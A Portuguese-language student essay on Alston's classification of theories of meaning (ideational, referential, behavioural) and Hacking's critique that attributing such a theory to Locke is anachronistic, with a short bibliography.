As teorias da significação segundo Alsting e a crítica de Hacking


As teorias da significação
segundo Alston e a crítica de Hacking
.

                                                                           
por Miguel Duclós


Trabalho feito originalmente para a cadeira de Filosofia da Linguagem, professor
Armando Manoel de Mora.
 

 

     A semântica
é a parte da linguística que trata da relação
entre os signos e o real, e do estudo histórico do sentido das palavras.
Os conceitos centrais da semântica são o significado, a referência 
e a verdade. Os linguistas estruturalistas, a partir de Saussurre – que
demonstrou que a língua deveria ser descrita em sua autonomia – 
estabeleceram uma distinção rigorosa entre forma e conteúdo.
O termo semântica foi criado por M. Bréal, aparecendo no seu
artigo  “As leis intelectuais da linguagem, fragmento da semântica”,
já em 1883. Portanto, a aparição de uma disciplina
que estuda as teorias do significado é tardia dentro da história
da filosofia. Isto gera anacronismos, como aponta Hacking, que levam a
empregar a expressão “teoria do significado” tal como a tradição
contemporânea define, em autores mais antigos, como Locke, do século
XVII. Isto ocorre sobretudo porque a linguagem – principal instrumento
de um filósofo – sempre foi uma questão de crucial importância
para a filosofia.

     No livro
X de A República de Platão, está escrito que “sempre
que um determinado número de indivíduos tem um nome comum,
supomos que tenham também uma idéia ou forma correspondente”.
A busca por uma definição universal é uma parte importante
da investigação socrática. Sócrates, por meio
de indagações constantes e analogias, obrigava seus interlocutores
a admitirem a falha de suas definições de conceitos (como
por exemplo a virtude ou a sabedoria) e a partir disto, a investigação
partia rumo à busca do significado do conceito em si, de forma a
abranger todos seus exemplos. Os velhos gregos costumavam se utilizar das
palavras sem saberem ao certo a que elas se referiam, como mostram as diferentes
acepções que os convivas de O Banquete tinham do deus Eros
e da deusa Afrodite.

     A linguagem,
muitas vezes, é considerada imprecisa ou por demais limitada para
descrever ou representar a força da realidade. Esta consciência
da limitação acontece de forma aguda em autores místicos,
como Plotino ou Bergson. Tendo em vista esta deficiência é
que, a partir do final do século XIX, uma corrente de filósofos
passou a se destacar, a dos filósofos analíticos. Eles dizem
que a lógica (que etimologicamente significa a ciência da
linguagem) e a teoria do significado são a parte mais primordial
da filosofia, cuja tarefa básica é a análise lógica
de sentenças e inferências, através da qual se obtém
a solução de problemas filosóficos.

     Frege,
a partir da linguagem matemática, desenvolveu reflexões sobre
a linguagem e o significado, abrindo caminho para a filosofia da linguagem
de Russel, Carnap e Wittgenstein. William P. Alston, influenciado por estes
autores, classifica as teorias do significado em três classes distintas:
ideacional, referencial e comportamental. Alston utiliza estes termos para
interpretar pensamentos antigos. Locke é colocado, então,
como o pai da teoria de significado ideacional, sendo que ele mesmo nunca
usou definição semelhante para sua teoria.

 Na teoria referencial, adotada
por B. Russel, o significado é a referência, ou seja, um nome
como Fido é o cão que a palavra denomina. A palavra pode
se referir a um objeto concreto, a uma coisa, a uma qualidade, a uma relação
etc. As palavras são símbolos representativos de algo diverso
delas próprias.

     O próprio
Alston se apressa em apresentar esta teoria como rudimentar. Um mesmo objeto
pode ter diversos significados. Brasília e a capital do Brasil são
o mesmo referente, mas possuem significados distintos. Outro ponto é
que, se o significado é o referente, se ele desaparecesse, desapareceria
também o significado? Por exemplo, pelo fato de Cartago ter sido
destruída por Roma, a palavra Cartago deixou de significar algo?
E palavras como “e”, “se”, “enquanto”, se referem a alguma coisa? 
Os referencialistas respondem esta questão dividindo as palavras
em categoremáticas (que significam algo por si próprias)
e sentecategoremáticas ( que precisam de outras para significarem).
Alston diz que  talvez a escolha da palavra referir seja uma maneira
inadequada de dizer que toda unidade linguística significativa implica
em alguma coisa. Outros termos, como denotar, seriam mais acertados.

     A teoria
referencial tem a concepção de que as palavras servem para
designar coisas, mas nem todas as palavras se referem a coisas, e nem todas
as coisas podem ser postas em palavras.

     A teoria
ideacional e comportamental tem a concepção de que as palavras
tem a significação apenas em decorrência do que fazem
os humanos quando usam a linguagem. A teoria ideacional acredita que o
limite da percepção que posso ter de um objeto vai ser a
sensação que este obejto causará em mim no momento
em que o percebo. Através dos dados empíricos, eu sou capaz
de formar idéias simples (como a de calor), que gerarão idéías
complexas (como a de um corpo quente). Estes encunciados da teoria ideacional
são dados por Locke e chamados de tal maneira por Alston.

     As palavras,
para Locke, são marcas sensíveis de idéias, e as idéias
são o significado. A percepção pura é passiva,
e a mente também é passiva na sua formação
de idéias, pois nós não interferimos na produção
de efeitos em nós. Estes efeitos causam as idéias simples.
A idéia em Locke é definida como tudo o que o espírito
percebe em si mesmo, e que é objeto imediato de percepção
e pensamento.

     O entendimento
é meramente passivo, e o conhecimento não passaria de idéias
complexas de acordo entre si, da percepção da conexão,
do acordo e do desacordo entre as idéias. A teoria de Locke parece
caminhar para uma entificação da idéia, ao passo que
a mente humana seria passiva em relação à mecânica
deste processo de perceber, formar idéias e representar, isto é,
trazer à tona algo que não está presente.

     Mas o transmissor
de uma mensagem consegue imprimir na alma do receptor a mesma idéia
que ele tem de um objeto? Seria necessário, que a cada expressão
minha, esteja presente a idéia que acompanha esta expressão.
Uma representação é uma excitação em
meu cérebro através da memória de certo aspecto da
realidade, que transponho para um discurso mental, exteriorizado em forma
de impulso sonoro pela linguagem e recodificada por quem ouve. O papel
do transmissor é excitar no receptor a mesma idéia.

     Hacking
observa que os filósofos não dão definição
clara do que seja esta identidade de idéias. Locke fala algo sobre
isso, mas não em conexão  com a linguagem. Porém,
parece ser claro que o mesmo objeto  produz idéias diferentes
nas diversas mentes que o inteligem. Provavelmente, você compõe
a mesma figura que eu ao olhar uma violeta, mas a palavra bucéfalo
é significada de modo diferente por um pintor, um cavaleiro e um
zoólogo, por exemplo.

     A idéia
independe da linguagem (pois a linguagem surgiu para transmitir idéias),
mas um a palavra tem um significado imposto. A maior parte do vocabulário
de um indivíduo lhe foi transmitida. Novas palavras surgem a toda
instante, mas não vem do nada. Para elas significarem uma idéia
é necessário que haja um correlato empírico objetivo
na vivência do transmissor e do receptor. Pessoas de um mesmo grupo
significam palavras diferentemente, pois ao ouvir uma palavra, puxo de
meu inventário de vivências e do meu dicionário interno
tudo que está ligado a esta palavra, ou a sensação
mais forte que tive com referência a esta palavra.  Minhas vivências
são, em grande parte, diferentes das do transmissor. O caráter
receptivo da linguagem é aceitar uma palavra no seu  uso comum
à sociedade,  e o caráter ativo é transmitir
exatamente a idéia que acompanha a expressão ou palavra. 
Para que haja o mínimo de entendimento, é necessário
um certo conjunto de experiências correspondentes e uma identificação
de sentimentos de todas as partes que se comunicam.

     A palavra
significado, para Quine, está saturada  a tal ponto de estar
corrompida. Ele sugere o emprego da palavra sinonímia ao invés
de significado. Ao perguntarmos o que é significado, supomos que
ele seja alguma coisa. Porém, pode não ser possível
coisificar o significado. Para Wittgenstein, o significado não é
alguma coisa de fato, mas apenas a utilização da linguagem
pelas pessoas, o uso. Wittgenstein zombava dos filósofos que pretendiam
uma relação real entre as palavras e as coisas.

     Para Quine,
uma palavra pode ter diferentes significados, dependendo do contexto conceitual
a que pertence. Para a teoria comportamental, a significação
de uma forma linguística é a situação que o
locutor a profere e a resposta que causa do ouvinte. A palavra é
a representação de x em virtude de possuir a potencialidade
de originar respostas semelhantes àqueles que x dá origem.
Frege diz existir o sentido porque o uso comum do pensamento e das proposições
é transmitido de geração em geração.

     Para que
haja a comunicação através da linguagem falada, não
basta supor que a linguagem é inata. É necessário
que hajam certos pressupostos, como a admissão da sociedade que
um certo som deve ser associado com tal objeto. É preciso que haja
um consenso na representação da relação de
sinais sonoros com o mundo físico, e uma correspondência na
estrutura mental das partes envolvidas na comunicação. São
regras como essas, aprendidas quase que por intuição que
fazem o mundo físico – distinto dos sujeitos – ser percebido 
como signos por seres que tem coisas em comum. Para Alston, as teorias
pecam pela sua supersimplificação, e para Hacking, Alston
peca pelo anacronismo, pois apesar se considerar execelente sua classificação,
não se pode dizer que Locke tem uma teoria da significação.

 

                                                          

Bibliografia

Alston, Willian P.

Filosofia da Linguagem. Tradução
álvaro Cabral. Zahar editores, Rio de Janeiro.

Hacking, Ian. Why does language
a matter to philosophy
. Capítulo V, nobodys teory of meaning.

Lalande, André.  Vocabulário
técnico e crítico de filosofia
. Martins Fontes, São
Paulo. Diversos tradutores.

Sausurre, Ferdinand. Curso de
Lingüísitica General
.  Tradución Amado Aloísio.
Editorial Cosada, Buenos Aires, 1945.

 

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